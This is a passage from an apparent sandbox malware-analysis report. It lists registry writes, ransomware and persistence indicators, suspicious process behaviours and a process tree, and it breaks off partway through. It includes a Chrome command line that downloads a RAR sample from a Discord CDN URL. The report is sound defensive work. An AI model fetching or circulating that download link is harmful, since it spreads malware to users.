Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\SourceList\PackageName = "vc_runtimeMinimum_x86.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D170F7F20D3849942873B7509754F24D\VC_Runtime_Minimum	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\PackageCode = "B3ED031526E0C4C428679E18E769F906"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeMinimumVSU_x86,v14	VC_redist.x86.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension"	7z2201.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5040806F8AF9AAC49928419ED5A1D3CA	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\SourceList\LastUsedSource = "n;1;C:\\ProgramData\\Package Cache\\{2F7F071D-83D0-4994-8237-7B0579452FD4}v14.38.32919\\packages\\vcRuntimeMinimum_x86\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF5920F5AAD340C4496AA2CFD637D943\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\VC,redist.x86,x86,14.38,bundle\Version = "14.38.32919.0"	VC_redist.x86.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\EF5920F5AAD340C4496AA2CFD637D943	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\VC,redist.x86,x86,14.38,bundle\Dependents\{68c77bab-8435-4d15-ae03-fd4f6e158317}	VC_redist.x86.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files (x86)\\7-Zip\\7-zip.dll"	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\ProductName = "Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.38.32919"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\Version = "237404311"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\EF5920F5AAD340C4496AA2CFD637D943\Provider	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF5920F5AAD340C4496AA2CFD637D943\SourceList\Net	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\VC,redist.x86,x86,14.30,bundle\Dependents	VC_redist.x86.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF5920F5AAD340C4496AA2CFD637D943\PackageCode = "2FC3A138326C0DF4F894D9293EB6DB3B"	msiexec.exe

Opens file in notepad (likely ransom note) 3 IoCs

ransomware

pid	Process
6360	NOTEPAD.EXE
6524	NOTEPAD.EXE
6052	NOTEPAD.EXE

Runs ping.exe 1 TTPs 50 IoCs

Remote System Discovery

T1018

pid	Process
5124	PING.EXE
5712	PING.EXE
224	PING.EXE
5304	PING.EXE
3252	PING.EXE
5312	PING.EXE
5184	PING.EXE
520	PING.EXE
5032	PING.EXE
224	PING.EXE
5192	PING.EXE
6548	PING.EXE
3272	PING.EXE
6524	PING.EXE
4304	PING.EXE
6440	PING.EXE
2404	PING.EXE
7000	PING.EXE
5344	PING.EXE
6988	PING.EXE
2392	PING.EXE
3436	PING.EXE
5196	PING.EXE
6808	PING.EXE
1460	PING.EXE
5240	PING.EXE
6808	PING.EXE
3956	PING.EXE
7100	PING.EXE
2760	PING.EXE
4944	PING.EXE
7160	PING.EXE
520	PING.EXE
4596	PING.EXE
4740	PING.EXE
1092	PING.EXE
7052	PING.EXE
4628	PING.EXE
4036	PING.EXE
1756	PING.EXE
208	PING.EXE
6740	PING.EXE
6004	PING.EXE
6488	PING.EXE
4784	PING.EXE
6448	PING.EXE
6792	PING.EXE
1484	PING.EXE
1968	PING.EXE
3076	PING.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
7032	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
3288	chrome.exe
3288	chrome.exe
7036	chrome.exe
7036	chrome.exe
1836	powershell.exe
1836	powershell.exe
1836	powershell.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
6544	powershell.exe
6544	powershell.exe
6544	powershell.exe
6544	powershell.exe
6544	powershell.exe
6184	msiexec.exe
6184	msiexec.exe
6184	msiexec.exe
6184	msiexec.exe
6184	msiexec.exe
6184	msiexec.exe
6184	msiexec.exe
6184	msiexec.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6424	7zFM.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeDebugPrivilege	1512	firefox.exe
Token: SeDebugPrivilege	1512	firefox.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe
Token: SeShutdownPrivilege	3288	chrome.exe
Token: SeCreatePagefilePrivilege	3288	chrome.exe

Suspicious use of FindShellTrayWindow 63 IoCs

pid	Process
1512	firefox.exe
1512	firefox.exe
1512	firefox.exe
1512	firefox.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
6424	7zFM.exe
6424	7zFM.exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe

Suspicious use of SendNotifyMessage 30 IoCs

pid	Process
1512	firefox.exe
1512	firefox.exe
1512	firefox.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
3288	chrome.exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe

Suspicious use of SetWindowsHookEx 21 IoCs

pid	Process
1512	firefox.exe
3112	Patch.exe
4152	7z2201.exe
6528	7z.exe
6756	7z.exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
5556	Patch.exe
6644	7z2201.exe
2504	7z.exe
3652	Patch.exe
6344	7z2201.exe
5416	7z.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3288 wrote to memory of 560	3288	chrome.exe	92
PID 3288 wrote to memory of 560	3288	chrome.exe	92
PID 1512 wrote to memory of 3712	1512	firefox.exe	94
PID 1512 wrote to memory of 3712	1512	firefox.exe	94
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1548	1512	firefox.exe	95
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98
PID 1512 wrote to memory of 1324	1512	firefox.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5796	attrib.exe
6472	attrib.exe
6224	attrib.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1077164933701189663/1239308410806337658/cH0RlUT.rar?ex=66519ca6&is=66504b26&hm=8d737eb8c9dfa93078decd0689c47e3ed2846624f4a79cea8c307779a146d529&
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3288
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe607e9758,0x7ffe607e9768,0x7ffe607e9778
  2⤵
  PID:560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1768 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:2
  2⤵
  PID:4916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1876 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:4980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2188 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:4328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3012 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:4436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3032 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:3400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5340 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:6424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3556 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:6536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4892 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:6680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=5356 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:5024
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5536 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:6444
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\cH0RlUT.rar"
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  PID:6424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5852 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:5492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5892 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:3292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6040 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:6732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=6068 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:6856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4500 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:1968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1924 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:7036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=1548 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:6344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=3204 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:3956
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=6300 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:5368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6276 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:3144
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5856 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:5032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=6472 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=3068 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:2096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=6440 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:1
  2⤵
  PID:2928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6820 --field-trial-handle=1984,i,16894343982813780275,9747501029755215363,131072 /prefetch:8
  2⤵
  PID:6972

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1512
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1512.0.1909920998\945571835" -parentBuildID 20221007134813 -prefsHandle 1892 -prefMapHandle 1884 -prefsLen 20749 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {cd0ea618-f685-4d0e-b9e6-15c237ccbb0e} 1512 "\\.\pipe\gecko-crash-server-pipe.1512" 1984 18b50ced358 gpu
  2⤵
  PID:3712
- C:\Program Files\Mozilla Firefox\firefox.exe
